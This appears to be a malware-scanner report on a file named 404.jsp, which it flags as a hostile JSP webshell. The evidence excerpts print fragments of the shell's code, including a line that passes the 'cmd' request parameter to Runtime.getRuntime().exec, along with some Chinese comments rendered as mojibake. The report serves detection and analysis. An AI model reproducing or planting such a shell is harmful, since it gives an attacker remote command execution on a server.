Hostile ^92% Download

404.jsp

JSP webshell with command execution

JSP runs the cmd request parameterWeb Shell

SHA-2562b9e91c45df8a47f2467687ea4991bf472a4de5a9cc385607fe93b7d65a190b0

Evidence

JSP page import directive lines 5–15

5:21… 򵥵�ϵͳ�ļ�Ŀ¼��ʾ������������Դ���������ṩ�������ļ��������������ܽ�����
6
7@Bugs  :  ����ʱ�������ļ����޷�������ʾ
8*/
9%>
10<%@ page contentType="text/html;charset=gb2312"%>
11<%@page import="java.io.*,java.util.*,java.net.*" %>
12<%!
13private final static int languageNo=0; //���԰汾��0 : ���ģ� 1��Ӣ��
14String strThisFile="JFolder.jsp";
15String[] authorInfo={" <font color=red>404 infiltrate  …

Web Shell lines 93–108

⋯4 lines
97
98  public String getTimeElapsed() {
99   long time = (System.currentTimeMillis() - starttime) / 1000l;
100   if (time - 60l >= 0){
101    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯7 lines

JSP reads cmd request parameter lines 391–411

391:36… + " " + strUnit;
392 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
393 if(strAfterComma=="") strAfterComma=".0";
394 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
395}
396%>
397<%
398request.setCharacterEncoding("gb2312");
399String tabID = request.getParameter("tabID");
400String strDir = request.getParameter("path");
401String strAction = request.getParameter("action");
402String strFile = request.getParameter("file");
403String strPath = strDir + "\\" + strFile; 
404String strCmd = request.getParameter("cmd");
405StringBuffer sbEdit=new StringBuffer("");
406StringBuffer sbDown=new StringBuffer("");
⋯5 lines

Java getRuntime call reference lines 945–969

⋯9 lines
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
⋯11 lines

Web Shell lines 978–993

⋯4 lines
982{
983%>
984&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
985<br>&nbsp;
986<%
⋯7 lines